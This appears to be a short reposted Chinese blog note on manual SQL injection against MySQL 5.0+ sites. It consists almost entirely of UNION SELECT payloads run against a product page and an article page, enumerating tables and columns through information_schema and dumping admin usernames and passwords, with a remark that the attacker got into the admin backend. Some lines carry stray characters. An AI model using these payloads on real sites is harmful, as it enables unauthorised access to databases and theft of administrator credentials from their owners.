Mysql5.0以上 手工注入

Mysql5.0以上

 

order by 23

 

http://www..com/productdet.php
?
&id=89 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,database(),11,12,13,14,15,16,17,18,19,20,21,22

 

http://www..com/productdet.php
?
&id=89 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,group_concat(table_name),11,12,13,14,15,16,17,18,19,20,21,22 from information_schema.tables where table_schema=0x7368736A6B

 

http://www..com/productdet.php
?
&id=89 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,group_concat(column_name),11,12,13,14,15,16,17,18,19,20,21,22 from information_schema.columns where table_name=0x777A5F6A6A5F61646D696E

 

http://www. .com/productdet.php
?
&id=89 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,group_concat(ad_username,0x5c,ad_password),11,12,13,14,15,16,17,18,19,20,21,22 from wz_jj_admin

成功进入后台

 

http://www..cn/article/view/id/1411 and 1=2 UNION SELECT 1,2,3,@@version,5,6,7,8,9,10,11,12,13,14,15,16,17

 

http://www..cn/article/view/id/1411 and 1=2 UNION SELECT

1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17

 

http://www..cn/article/view/id/1411 and 1=2 UNION SELECT 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where 0table_schema=0x68646D313034303435385F6462

http://www..cn/article/view/id/1411 and 1=2 0UNION SELECT 1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name=0x696E7477686F5F61646D696E5F75736572

http://www. .cn/article/view/id/1411 and 1=2 UNION%20SELECT 1,2,3,group_concat(user_name,0x5c,password),5,6,7,8,9,10,11,12,13,14,15,16,17 from intwho_admin_user

转载于:https://www.cnblogs.com/nightnine/p/5487350.html